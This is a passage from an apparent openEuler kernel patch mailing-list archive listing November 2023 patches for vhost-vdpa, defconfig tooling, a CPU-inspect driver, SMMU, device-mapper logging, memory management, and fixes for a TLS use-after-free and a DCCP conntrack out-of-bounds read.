vhost_vdpa_bind_mm(struct vhost_vdpa *v) @@ -297,7 +297,7 @@ static long vhost_vdpa_set_status(struct vhost_vdpa *v, u8 __user *statusp) vhost_vdpa_unsetup_vq_irq(v, i); if (status == 0) { - ret = vdpa_reset(vdpa); + ret = vdpa_reset(vdpa, VDPA_DEV_RESET_VIRTIO); if (ret) return ret; } else @@ -1496,7 +1496,7 @@ static int vhost_vdpa_open(struct inode *inode, struct file *filep) return r; nvqs = v->nvqs; - r = vhost_vdpa_reset(v); + r = vhost_vdpa_reset(v, VDPA_DEV_RESET_OPEN); if (r) goto err; @@ -1542,7 +1542,7 @@ static int vhost_vdpa_release(struct inode *inode, struct file *filep) mutex_lock(&d->mutex); filep->private_data = NULL; vhost_vdpa_clean_irq(v); - vhost_vdpa_reset(v); + vhost_vdpa_reset(v, VDPA_DEV_RESET_CLOSE); vhost_dev_stop(&v->vdev); vhost_vdpa_unbind_mm(v); vhost_vdpa_config_put(v); diff --git a/include/linux/vdpa.h b/include/linux/vdpa.h index 83df2380eeb9..ef53829c7a7a 100644 --- a/include/linux/vdpa.h +++ b/include/linux/vdpa.h @@ -120,6 +120,12 @@ struct vdpa_map_file { u64 offset; }; +enum vdpa_reset_state { + VDPA_DEV_RESET_VIRTIO = 0, + VDPA_DEV_RESET_OPEN = 1, + VDPA_DEV_RESET_CLOSE = 2, +}; + /** * struct vdpa_config_ops - operations for configuring a vDPA device. * Note: vDPA device drivers are required to implement all of the @@ -218,6 +224,10 @@ struct vdpa_map_file { * @status: virtio device status * @reset: Reset device * @vdev: vdpa device + * @state: state for reset + * VDPA_DEV_RESET_VIRTIO for virtio reset + * VDPA_DEV_RESET_OPEN for vhost-vdpa device open + * VDPA_DEV_RESET_CLOSE for vhost-vdpa device close * Returns integer: success (0) or error (< 0) * @suspend: Suspend the device (optional) * @vdev: vdpa device @@ -359,7 +369,7 @@ struct vdpa_config_ops { u32 (*get_vendor_id)(struct vdpa_device *vdev); u8 (*get_status)(struct vdpa_device *vdev); void (*set_status)(struct vdpa_device *vdev, u8 status); - int (*reset)(struct vdpa_device *vdev); + int (*reset)(struct vdpa_device *vdev, int state); int (*suspend)(struct vdpa_device *vdev); int (*resume)(struct vdpa_device *vdev); size_t (*get_config_size)(struct vdpa_device *vdev); @@ -482,14 +492,14 @@ static inline struct device *vdpa_get_dma_dev(struct vdpa_device *vdev) return vdev->dma_dev; } -static inline int vdpa_reset(struct vdpa_device *vdev) +static inline int vdpa_reset(struct vdpa_device *vdev, int state) { const struct vdpa_config_ops *ops = vdev->config; int ret; down_write(&vdev->cf_lock); vdev->features_valid = false; - ret = ops->reset(vdev); + ret = ops->reset(vdev, state); up_write(&vdev->cf_lock); return ret; } -- 2.27.0

2 4

[PATCH OLK-5.10] vhost-vdpa: allow set feature VHOST_F_LOG_ALL when been negotiated.
by Jiang Dongxu 21 Nov '23

21 Nov '23

From: jiangdongxu1 <jiangdongxu1(a)huawei.com> virt inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I86ITO ---------------------------------------------------------------------- It's not allowed to change the features after vhost-vdpa devices have been negotiated. But log start/end is allowed. Add exception to feature VHOST_F_LOG_ALL. --- drivers/vhost/vdpa.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c index 8e3bf64123ae..eec8027dfc4f 100644 --- a/drivers/vhost/vdpa.c +++ b/drivers/vhost/vdpa.c @@ -425,16 +425,19 @@ static long vhost_vdpa_set_features(struct vhost_vdpa *v, u64 __user *featurep) u64 features; int i; + if (copy_from_user(&features, featurep, sizeof(features))) + return -EFAULT; + + actual_features = ops->get_driver_features(vdpa); + /* * It's not allowed to change the features after they have - * been negotiated. + * been negotiated. But log start/end is allowed. */ - if (ops->get_status(vdpa) & VIRTIO_CONFIG_S_FEATURES_OK) + if ((ops->get_status(vdpa) & VIRTIO_CONFIG_S_FEATURES_OK) && + (features & ~(BIT_ULL(VHOST_F_LOG_ALL))) != actual_features) return -EBUSY; - if (copy_from_user(&features, featurep, sizeof(features))) - return -EFAULT; - if (vdpa_set_features(vdpa, features)) return -EINVAL; -- 2.27.0

2 5

[PATCH OLK-6.6 v2 0/3] Add initial openeuler_defconfig for arm64 and
by Zheng Zengkai 21 Nov '23

21 Nov '23

If new options are introduced, but openeuler_defconfig is not explicitly configured, the actual compiled version may be configured according to the default settings, which may be different from the author's expectation. Therefore, some commands/scripts are added to help developers to check and update the defconfig. It is also convenient for continuous integration tools to check the consistency of defconfig. Based on OLK-5.10 openeuler_defconfig, use the commands mentioned above to generate the initial openeuler_defconfig for OLK-6.6 kernel build. Xie XiuQi (1): kconfig: Add script to check & update openeuler_defconfig Zheng Zengkai (2): config: add initial openeuler_defconfig for arm64 config: add initial openeuler_defconfig for x86 arch/arm64/configs/openeuler_defconfig | 7942 ++++++++++++++++++++ arch/x86/configs/openeuler_defconfig | 9158 ++++++++++++++++++++++++ scripts/kconfig/Makefile | 22 + scripts/kconfig/makeconfig.sh | 24 + 4 files changed, 17146 insertions(+) create mode 100644 arch/arm64/configs/openeuler_defconfig create mode 100644 arch/x86/configs/openeuler_defconfig create mode 100644 scripts/kconfig/makeconfig.sh -- 2.20.1

2 5

[PATCH OLK-5.10 v3 RESEND 0/3] Introduce CPU inspect feature
by Yu Liao 21 Nov '23

21 Nov '23

v2 -> v3: - fix compilation failure on arm32 - enable CPU inspect for arm64 by default This patches series introduce CPU-inspect feature. CPU-inspect is designed to provide a framework for early detection of SDC by proactively executing CPU inspection test cases. Yu Liao (3): cpuinspect: add CPU-inspect infrastructure cpuinspect: add ATF inspector openeuler_defconfig: enable CPU inspect for arm64 by default arch/arm64/configs/openeuler_defconfig | 7 + drivers/Kconfig | 2 + drivers/Makefile | 1 + drivers/cpuinspect/Kconfig | 24 +++ drivers/cpuinspect/Makefile | 8 + drivers/cpuinspect/cpuinspect.c | 165 ++++++++++++++++ drivers/cpuinspect/cpuinspect.h | 46 +++++ drivers/cpuinspect/inspector-atf.c | 70 +++++++ drivers/cpuinspect/inspector.c | 124 ++++++++++++ drivers/cpuinspect/sysfs.c | 257 +++++++++++++++++++++++++ include/linux/cpuinspect.h | 40 ++++ 11 files changed, 744 insertions(+) create mode 100644 drivers/cpuinspect/Kconfig create mode 100644 drivers/cpuinspect/Makefile create mode 100644 drivers/cpuinspect/cpuinspect.c create mode 100644 drivers/cpuinspect/cpuinspect.h create mode 100644 drivers/cpuinspect/inspector-atf.c create mode 100644 drivers/cpuinspect/inspector.c create mode 100644 drivers/cpuinspect/sysfs.c create mode 100644 include/linux/cpuinspect.h -- 2.33.0

1 3

[PATCH OLK-5.10] iommu/arm-smmu-v3: Add config isolations for BTM
by Zhang Zekun 20 Nov '23

20 Nov '23

hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8I0NL ------------------------------- Add config isolation for SMMU BTM (Broadcast TLB Maintenance), because VMIDS are all shared and will be invalid all together, which might cause performance issues. Besides, If the hardware fail to invalid TLB, it can cause unexpected errors, you need to do some tests to make sure BTM work as expect. Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- drivers/iommu/Kconfig | 10 ++++++++++ drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c | 2 ++ 2 files changed, 12 insertions(+) diff --git a/drivers/iommu/Kconfig b/drivers/iommu/Kconfig index b630e58c49b6..f768fbc60dd3 100644 --- a/drivers/iommu/Kconfig +++ b/drivers/iommu/Kconfig @@ -438,6 +438,16 @@ config SMMU_BYPASS_DEV This feature will be replaced by ACPI IORT RMR node, which will be upstreamed in mainline. +config SMMU_BTM_SUPPORT + bool "SMMU BTM (Broadcast TLB Maintenance) support" + depends on ARM_SMMU_V3 + help + ARM SMMU BTM feature can support for receiving broadcast TLBI + operations issued by Arm PEs in the system, which can help to + speed up the tlb invalidation speed in SVA scenarios. + + This feature need support for BTM features, if not sure, say NO. + endif # IOMMU_SUPPORT config IOVA_MAX_GLOBAL_MAGS diff --git a/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c b/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c index d93ce123df49..09777b05b089 100644 --- a/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c +++ b/drivers/iommu/arm/arm-smmu-v3/arm-smmu-v3.c @@ -4954,8 +4954,10 @@ static int arm_smmu_device_hw_probe(struct arm_smmu_device *smmu) * broadcasted TLB invalidations that target EL2-E2H world. Don't enable * BTM in that case. */ +#ifdef CONFIG_SMMU_BTM_SUPPORT if (reg & IDR0_BTM && (!vhe || reg & IDR0_HYP)) smmu->features |= ARM_SMMU_FEAT_BTM; +#endif /* * The coherency feature as set by FW is used in preference to the ID -- 2.17.1

2 1

[PATCH OLK-5.10 v3 0/3] Introduce CPU inspect feature
by Yu Liao 20 Nov '23

20 Nov '23

v2 -> v3: - fix compilation failure on arm32 - enable CPU inspect for arm64 by default This patches series introduce CPU-inspect feature. CPU-inspect is designed to provide a framework for early detection of SDC by proactively executing CPU inspection test cases. Yu Liao (3): cpuinspect: add CPU-inspect infrastructure cpuinspect: add ATF inspector openeuler_defconfig: enable CPU inspect for arm64 by default arch/arm64/configs/openeuler_defconfig | 7 + drivers/Kconfig | 2 + drivers/Makefile | 1 + drivers/cpuinspect/Kconfig | 24 +++ drivers/cpuinspect/Makefile | 8 + drivers/cpuinspect/cpuinspect.c | 165 ++++++++++++++++ drivers/cpuinspect/cpuinspect.h | 46 +++++ drivers/cpuinspect/inspector-atf.c | 70 +++++++ drivers/cpuinspect/inspector.c | 124 ++++++++++++ drivers/cpuinspect/sysfs.c | 257 +++++++++++++++++++++++++ include/linux/cpuinspect.h | 40 ++++ 11 files changed, 744 insertions(+) create mode 100644 drivers/cpuinspect/Kconfig create mode 100644 drivers/cpuinspect/Makefile create mode 100644 drivers/cpuinspect/cpuinspect.c create mode 100644 drivers/cpuinspect/cpuinspect.h create mode 100644 drivers/cpuinspect/inspector-atf.c create mode 100644 drivers/cpuinspect/inspector.c create mode 100644 drivers/cpuinspect/sysfs.c create mode 100644 include/linux/cpuinspect.h -- 2.33.0

1 3

[PATCH OLK-5.10 v2 0/2] Introduce CPU inspect feature
by Yu Liao 20 Nov '23

20 Nov '23

This patches series introduce CPU-inspect feature. CPU-inspect is designed to provide a framework for early detection of SDC by proactively executing CPU inspection test cases. v1 -> v2: fix some issues Yu Liao (2): cpuinspect: add CPU-inspect infrastructure cpuinspect: add ATF inspector drivers/Kconfig | 2 + drivers/Makefile | 1 + drivers/cpuinspect/Kconfig | 24 +++ drivers/cpuinspect/Makefile | 8 + drivers/cpuinspect/cpuinspect.c | 165 ++++++++++++++++++ drivers/cpuinspect/cpuinspect.h | 46 ++++++ drivers/cpuinspect/inspector-atf.c | 70 ++++++++ drivers/cpuinspect/inspector.c | 124 ++++++++++++++ drivers/cpuinspect/sysfs.c | 257 +++++++++++++++++++++++++++++ include/linux/cpuinspect.h | 40 +++++ 10 files changed, 737 insertions(+) create mode 100644 drivers/cpuinspect/Kconfig create mode 100644 drivers/cpuinspect/Makefile create mode 100644 drivers/cpuinspect/cpuinspect.c create mode 100644 drivers/cpuinspect/cpuinspect.h create mode 100644 drivers/cpuinspect/inspector-atf.c create mode 100644 drivers/cpuinspect/inspector.c create mode 100644 drivers/cpuinspect/sysfs.c create mode 100644 include/linux/cpuinspect.h -- 2.33.0

2 3

[PATCH OLK-6.6] dm ioctl: add DMINFO() to track dm device create/remove
by Li Lingfeng 20 Nov '23

20 Nov '23

From: Luo Meng <luomeng12(a)huawei.com> hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8HVC5 CVE: NA -------------------------------- Add DMINFO() to help tracking device creation/removal success. Signed-off-by: Luo Meng <luomeng12(a)huawei.com> Reviewed-by: Zhang Yi <yi.zhang(a)huawei.com> Signed-off-by: Zheng Zengkai <zhengzengkai(a)huawei.com> Signed-off-by: Li Lingfeng <lilingfeng3(a)huawei.com> --- drivers/md/dm-ioctl.c | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/drivers/md/dm-ioctl.c b/drivers/md/dm-ioctl.c index 21ebb6c39394..5efe0193b2e8 100644 --- a/drivers/md/dm-ioctl.c +++ b/drivers/md/dm-ioctl.c @@ -327,6 +327,9 @@ static struct dm_table *__hash_remove(struct hash_cell *hc) table = NULL; if (hc->new_map) table = hc->new_map; + + DMINFO("%s[%i]: %s (%s) is removed successfully", + current->comm, current->pid, hc->md->disk->disk_name, hc->name); dm_put(hc->md); free_cell(hc); @@ -880,6 +883,7 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si { int r, m = DM_ANY_MINOR; struct mapped_device *md; + struct hash_cell *hc; r = check_name(param->name); if (r) @@ -903,6 +907,13 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si __dev_status(md, param); + mutex_lock(&dm_hash_cells_mutex); + hc = dm_get_mdptr(md); + if (hc) + DMINFO("%s[%i]: %s (%s) is created successfully", + current->comm, current->pid, md->disk->disk_name, hc->name); + + mutex_unlock(&dm_hash_cells_mutex); dm_put(md); return 0; -- 2.31.1

1 0

[PATCH openEuler-22.03-LTS-SP2 0/3] add pid enable_swap
by liubo 20 Nov '23

20 Nov '23

Liu Yuntao (1): add "enable_swap" ability Ni Cunshu (1): mm: add preferred_swap ability liubo (1): preferred_swap: share memory can specify swap device fs/proc/base.c | 188 +++++++++++++++++++++++++++++++++ include/linux/mm_types.h | 4 + include/linux/sched/coredump.h | 1 + include/linux/swap.h | 13 +++ kernel/fork.c | 4 + mm/Kconfig | 7 ++ mm/swap_slots.c | 64 ++++++++++- mm/swap_state.c | 1 + mm/swapfile.c | 86 ++++++++++++++- mm/vmscan.c | 38 +++++++ 10 files changed, 403 insertions(+), 3 deletions(-) -- 2.33.0

2 4

[PATCH OLK-5.10 v2 0/2] Fix syntax issues in comments and print
by Li Lingfeng 20 Nov '23

20 Nov '23

Fix syntax issues in comments and print statements v1->v2: Fix syntax issues in comments of the code section that opening an exclusive opened block device for write. Li Lingfeng (2): fs: Fix syntax issues in comments and print statements. fs: Fix syntax issues in comments fs/block_dev.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) -- 2.31.1

2 3

[PATCH OLK-5.10 RESEND 0/2] block: warn once for each partition in bio_check_ro()
by Li Nan 20 Nov '23

20 Nov '23

From: Yu Kuai <yukuai3(a)huawei.com> Yu Kuai (2): block: warn once for each partition in bio_check_ro() block: fix kabi broken in struct hd_part block/blk-core.c | 5 +++++ include/linux/genhd.h | 1 + 2 files changed, 6 insertions(+) -- 2.39.2

1 0

[PATCH OLK-5.10] fs: Fix syntax issues in comments and print statements.
by Li Lingfeng 20 Nov '23

20 Nov '23

hulk inclusion category: cleanup bugzilla: https://gitee.com/openeuler/kernel/issues/I8HWD1 -------------------------------- There are syntax errors in the comments and print statements of the code section that detects opening write opened block devices exclusively, which need to be fixed. Signed-off-by: Li Lingfeng <lilingfeng3(a)huawei.com> --- fs/block_dev.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/block_dev.c b/fs/block_dev.c index a0e4d3ec300e..6389551aa29e 100644 --- a/fs/block_dev.c +++ b/fs/block_dev.c @@ -1669,11 +1669,11 @@ static int __blkdev_get(struct block_device *bdev, fmode_t mode, void *holder, #ifdef CONFIG_BLK_DEV_DUMPINFO /* * Open an write opened block device exclusively, the - * writing process may probability corrupt the device, + * writing process may probably corrupt the device, * such as a mounted file system, give a hint here. */ if (is_conflict_excl_open(bdev, claiming, mode)) - blkdev_dump_conflict_opener(bdev, "VFS: Open an write opened " + blkdev_dump_conflict_opener(bdev, "VFS: Open a write opened " "block device exclusively"); #endif bd_finish_claiming(bdev, claiming, holder); -- 2.31.1

2 1

[PATCH openEuler-1.0-LTS] mm/migrate.c: fix potential indeterminate pte entry in migrate_vma_insert_page()
by Tong Tiangen 20 Nov '23

20 Nov '23

From: Miaohe Lin <linmiaohe(a)huawei.com> mainline inclusion from mainline-v5.13-rc1 commit 34f5e9b9d1990d286199084efa752530ee3d8297 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8HVSL Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- If the zone device page does not belong to un-addressable device memory, the variable entry will be uninitialized and lead to indeterminate pte entry ultimately. Fix this unexpected case and warn about it. Link: https://lkml.kernel.org/r/20210325131524.48181-4-linmiaohe@huawei.com Fixes: df6ad69838fc ("mm/device-public-memory: device memory cache coherent with CPU") Signed-off-by: Miaohe Lin <linmiaohe(a)huawei.com> Reviewed-by: David Hildenbrand <david(a)redhat.com> Cc: Alistair Popple <apopple(a)nvidia.com> Cc: Jerome Glisse <jglisse(a)redhat.com> Cc: Rafael Aquini <aquini(a)redhat.com> Cc: Yang Shi <shy828301(a)gmail.com> Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds(a)linux-foundation.org> conflict: mm/migrate.c Signed-off-by: Tong Tiangen <tongtiangen(a)huawei.com> --- mm/migrate.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/mm/migrate.c b/mm/migrate.c index dc6416ccef44..56a2033d443c 100644 --- a/mm/migrate.c +++ b/mm/migrate.c @@ -2688,6 +2688,13 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate, if (vma->vm_flags & VM_WRITE) entry = pte_mkwrite(pte_mkdirty(entry)); entry = pte_mkdevmap(entry); + } else { + /* + * For now we not support migrating to MEMORY_DEVICE_FS_DAX + * and MEMORY_DEVICE_PCI_P2PDMA device memory. + */ + pr_warn_once("Unsupported ZONE_DEVICE page type.\n"); + goto abort; } } else { entry = mk_pte(page, vma->vm_page_prot); -- 2.25.1

2 1

[PATCH OLK-5.10 0/2] block: warn once for each partition in bio_check_ro()
by Li Nan 20 Nov '23

20 Nov '23

From: Yu Kuai <yukuai3(a)huawei.com> Yu Kuai (2): block: warn once for each partition in bio_check_ro() block: fix kabi broken in struct hd_part block/blk-core.c | 5 +++++ include/linux/genhd.h | 1 + 2 files changed, 6 insertions(+) -- 2.39.2

2 3

[PATCH OLK-5.10] net/tls: do not free tls_rec on async operation in bpf_exec_tx_verdict()
by Liu Jian 18 Nov '23

18 Nov '23

stable inclusion from stable-v5.10.195 commit a5096cc6e7836711541b7cd2d6da48d36fe420e9 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8H5DK CVE: CVE-2023-6176 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… --------------------------- [ Upstream commit cfaa80c91f6f99b9342b6557f0f0e1143e434066 ] I got the below warning when do fuzzing test: BUG: KASAN: null-ptr-deref in scatterwalk_copychunks+0x320/0x470 Read of size 4 at addr 0000000000000008 by task kworker/u8:1/9 CPU: 0 PID: 9 Comm: kworker/u8:1 Tainted: G OE Hardware name: linux,dummy-virt (DT) Workqueue: pencrypt_parallel padata_parallel_worker Call trace: dump_backtrace+0x0/0x420 show_stack+0x34/0x44 dump_stack+0x1d0/0x248 __kasan_report+0x138/0x140 kasan_report+0x44/0x6c __asan_load4+0x94/0xd0 scatterwalk_copychunks+0x320/0x470 skcipher_next_slow+0x14c/0x290 skcipher_walk_next+0x2fc/0x480 skcipher_walk_first+0x9c/0x110 skcipher_walk_aead_common+0x380/0x440 skcipher_walk_aead_encrypt+0x54/0x70 ccm_encrypt+0x13c/0x4d0 crypto_aead_encrypt+0x7c/0xfc pcrypt_aead_enc+0x28/0x84 padata_parallel_worker+0xd0/0x2dc process_one_work+0x49c/0xbdc worker_thread+0x124/0x880 kthread+0x210/0x260 ret_from_fork+0x10/0x18 This is because the value of rec_seq of tls_crypto_info configured by the user program is too large, for example, 0xffffffffffffff. In addition, TLS is asynchronously accelerated. When tls_do_encryption() returns -EINPROGRESS and sk->sk_err is set to EBADMSG due to rec_seq overflow, skmsg is released before the asynchronous encryption process ends. As a result, the UAF problem occurs during the asynchronous processing of the encryption module. If the operation is asynchronous and the encryption module returns EINPROGRESS, do not free the record information. Fixes: 635d93981786 ("net/tls: free record only on encryption error") Signed-off-by: Liu Jian <liujian56(a)huawei.com> Reviewed-by: Sabrina Dubroca <sd(a)queasysnail.net> Link: https://lore.kernel.org/r/20230909081434.2324940-1-liujian56@huawei.com Signed-off-by: Paolo Abeni <pabeni(a)redhat.com> Signed-off-by: Sasha Levin <sashal(a)kernel.org> Signed-off-by: Liu Jian <liujian56(a)huawei.com> --- net/tls/tls_sw.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/net/tls/tls_sw.c b/net/tls/tls_sw.c index 96c95ea728ac..84e1f2af1a83 100644 --- a/net/tls/tls_sw.c +++ b/net/tls/tls_sw.c @@ -815,7 +815,7 @@ static int bpf_exec_tx_verdict(struct sk_msg *msg, struct sock *sk, psock = sk_psock_get(sk); if (!psock || !policy) { err = tls_push_record(sk, flags, record_type); - if (err && sk->sk_err == EBADMSG) { + if (err && err != -EINPROGRESS && sk->sk_err == EBADMSG) { *copied -= sk_msg_free(sk, msg); tls_free_open_rec(sk); err = -sk->sk_err; @@ -844,7 +844,7 @@ static int bpf_exec_tx_verdict(struct sk_msg *msg, struct sock *sk, switch (psock->eval) { case __SK_PASS: err = tls_push_record(sk, flags, record_type); - if (err && sk->sk_err == EBADMSG) { + if (err && err != -EINPROGRESS && sk->sk_err == EBADMSG) { *copied -= sk_msg_free(sk, msg); tls_free_open_rec(sk); err = -sk->sk_err; -- 2.34.1

2 1

[PATCH openEuler-22.03-LTS-SP2] mm/hugetlb: fix parameter passed to allocate bootmem memory
by Wupeng Ma 18 Nov '23

18 Nov '23

From: Jason Zeng <jason.zeng(a)intel.com> Intel inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I7HUWC CVE: NA ----------------------------------------------- Intel-SIG: hugetlb: fix parameter passed to allocate bootmem memory __alloc_bootmem_huge_page_inner() should use 'min_addr" as the 3rd parameter to invoke memblock_alloc_try_nid_raw() and memblock_alloc_try_nid_raw_flags. Fixes: 74bfdf157f1f ("mm/hugetlb: Hugetlb use non-mirrored memory if memory reliable is enabled") Signed-off-by: Jason Zeng <jason.zeng(a)intel.com> [Wupeng: cherry-pick from a78d9e8141261369833de3cd2aa4e7e7880bddaf] Signed-off-by: Ma Wupeng <mawupeng1(a)huawei.com> --- mm/hugetlb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mm/hugetlb.c b/mm/hugetlb.c index 7aca3351b9b9..8cf3d5bb4881 100644 --- a/mm/hugetlb.c +++ b/mm/hugetlb.c @@ -2713,10 +2713,10 @@ static void *__init __alloc_bootmem_huge_page_inner(phys_addr_t size, int nid) { if (!mem_reliable_is_enabled()) - return memblock_alloc_try_nid_raw(size, align, max_addr, + return memblock_alloc_try_nid_raw(size, align, min_addr, max_addr, nid); - return memblock_alloc_try_nid_raw_flags(size, align, max_addr, max_addr, + return memblock_alloc_try_nid_raw_flags(size, align, min_addr, max_addr, nid, MEMBLOCK_NOMIRROR); } -- 2.25.1

2 1

[PATCH OLK-6.6 0/3] Add initial openeuler_defconfig for arm64 and x86
by Zheng Zengkai 17 Nov '23

17 Nov '23

If new options are introduced, but openeuler_defconfig is not explicitly configured, the actual compiled version may be configured according to the default settings, which may be different from the author's expectation. Therefore, some commands/scripts are added to help developers to check and update the defconfig. It is also convenient for continuous integration tools to check the consistency of defconfig. Based on OLK-5.10 openeuler_defconfig, use the commands mentioned above to generate the initial openeuler_defconfig for OLK-6.6 kernel build. Xie XiuQi (1): kconfig: Add script to check & update openeuler_defconfig Zheng Zengkai (2): config: add initial openeuler_defconfig for arm64 config: add initial openeuler_defconfig for x86 arch/arm64/configs/openeuler_defconfig | 7942 ++++++++++++++++++++ arch/x86/configs/openeuler_defconfig | 9158 ++++++++++++++++++++++++ scripts/kconfig/Makefile | 22 + scripts/kconfig/makeconfig.sh | 24 + 4 files changed, 17146 insertions(+) create mode 100644 arch/arm64/configs/openeuler_defconfig create mode 100644 arch/x86/configs/openeuler_defconfig create mode 100644 scripts/kconfig/makeconfig.sh -- 2.20.1

1 3

[PATCH OLK-6.6 0/3] Add initial openeuler_defconfig for arm64 and x86
by Zheng Zengkai 17 Nov '23

17 Nov '23

If new options are introduced, but openeuler_defconfig is not explicitly configured, the actual compiled version may be configured according to the default settings, which may be different from the author's expectation. Therefore, some commands/scripts are added to help developers to check and update the defconfig. It is also convenient for continuous integration tools to check the consistency of defconfig. Based on OLK-5.10 openeuler_defconfig, use the commands mentioned above to generate the initial openeuler_defconfig for OLK-6.6 kernel build. Xie XiuQi (1): kconfig: Add script to check & update openeuler_defconfig Zheng Zengkai (2): config: add initial openeuler_defconfig for arm64 config: add initial openeuler_defconfig for x86 arch/arm64/configs/openeuler_defconfig | 7942 ++++++++++++++++++++ arch/x86/configs/openeuler_defconfig | 9158 ++++++++++++++++++++++++ scripts/kconfig/Makefile | 22 + scripts/kconfig/makeconfig.sh | 24 + 4 files changed, 17146 insertions(+) create mode 100644 arch/arm64/configs/openeuler_defconfig create mode 100644 arch/x86/configs/openeuler_defconfig create mode 100644 scripts/kconfig/makeconfig.sh -- 2.20.1

1 3

[PATCH OLK-6.6 0/3] Add initial openeuler_defconfig for arm64 and x86
by Zheng Zengkai 17 Nov '23

17 Nov '23

If new options are introduced, but openeuler_defconfig is not explicitly configured, the actual compiled version may be configured according to the default settings, which may be different from the author's expectation. Therefore, some commands/scripts are added to help developers to check and update the defconfig. It is also convenient for continuous integration tools to check the consistency of defconfig. Based on OLK-5.10 openeuler_defconfig, use the commands mentioned above to generate the initial openeuler_defconfig for OLK-6.6 kernel build. Xie XiuQi (1): kconfig: Add script to check & update openeuler_defconfig Zheng Zengkai (2): config: add initial openeuler_defconfig for arm64 config: add initial openeuler_defconfig for x86 arch/arm64/configs/openeuler_defconfig | 7942 ++++++++++++++++++++ arch/x86/configs/openeuler_defconfig | 9158 ++++++++++++++++++++++++ scripts/kconfig/Makefile | 22 + scripts/kconfig/makeconfig.sh | 24 + 4 files changed, 17146 insertions(+) create mode 100644 arch/arm64/configs/openeuler_defconfig create mode 100644 arch/x86/configs/openeuler_defconfig create mode 100644 scripts/kconfig/makeconfig.sh -- 2.20.1

1 3

[PATCH openEuler-1.0-LTS v3] netfilter: conntrack: dccp: copy entire header to stack buffer, not just basic one
by Zhengchao Shao 17 Nov '23

17 Nov '23

From: Florian Westphal <fw(a)strlen.de> mainline inclusion from mainline-v6.5-rc1 commit ff0a3a7d52ff7282dbd183e7fc29a1fe386b0c30 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I8EZSO CVE: CVE-2023-39197 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- Eric Dumazet says: nf_conntrack_dccp_packet() has an unique: dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); And nothing more is 'pulled' from the packet, depending on the content. dh->dccph_doff, and/or dh->dccph_x ...) So dccp_ack_seq() is happily reading stuff past the _dh buffer. BUG: KASAN: stack-out-of-bounds in nf_conntrack_dccp_packet+0x1134/0x11c0 Read of size 4 at addr ffff000128f66e0c by task syz-executor.2/29371 [..] Fix this by increasing the stack buffer to also include room for the extra sequence numbers and all the known dccp packet type headers, then pull again after the initial validation of the basic header. While at it, mark packets invalid that lack 48bit sequence bit but where RFC says the type MUST use them. Compile tested only. v2: first skb_header_pointer() now needs to adjust the size to only pull the generic header. (Eric) Heads-up: I intend to remove dccp conntrack support later this year. Fixes: 2bc780499aa3 ("[NETFILTER]: nf_conntrack: add DCCP protocol support") Reported-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Florian Westphal <fw(a)strlen.de> Reviewed-by: Eric Dumazet <edumazet(a)google.com> Signed-off-by: Pablo Neira Ayuso <pablo(a)netfilter.org> Conflicts: net/netfilter/nf_conntrack_proto_dccp.c Signed-off-by: Zhengchao Shao <shaozhengchao(a)huawei.com> --- net/netfilter/nf_conntrack_proto_dccp.c | 52 +++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 3 deletions(-) diff --git a/net/netfilter/nf_conntrack_proto_dccp.c b/net/netfilter/nf_conntrack_proto_dccp.c index 3ba1f4d9934f..fe17c2ddb6c8 100644 --- a/net/netfilter/nf_conntrack_proto_dccp.c +++ b/net/netfilter/nf_conntrack_proto_dccp.c @@ -433,17 +433,47 @@ static u64 dccp_ack_seq(const struct dccp_hdr *dh) ntohl(dhack->dccph_ack_nr_low); } +struct nf_conntrack_dccp_buf { + struct dccp_hdr dh; /* generic header part */ + struct dccp_hdr_ext ext; /* optional depending dh->dccph_x */ + union { /* depends on header type */ + struct dccp_hdr_ack_bits ack; + struct dccp_hdr_request req; + struct dccp_hdr_response response; + struct dccp_hdr_reset rst; + } u; +}; + +static struct dccp_hdr * +dccp_header_pointer(const struct sk_buff *skb, int offset, const struct dccp_hdr *dh, + struct nf_conntrack_dccp_buf *buf) +{ + unsigned int hdrlen = __dccp_hdr_len(dh); + + if (hdrlen > sizeof(*buf)) + return NULL; + + return skb_header_pointer(skb, offset, hdrlen, buf); +} + static int dccp_packet(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, enum ip_conntrack_info ctinfo) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); - struct dccp_hdr _dh, *dh; + struct nf_conntrack_dccp_buf _dh; u_int8_t type, old_state, new_state; enum ct_dccp_roles role; unsigned int *timeouts; + struct dccp_hdr *dh; - dh = skb_header_pointer(skb, dataoff, sizeof(_dh), &_dh); + dh = skb_header_pointer(skb, dataoff, sizeof(*dh), &_dh.dh); BUG_ON(dh == 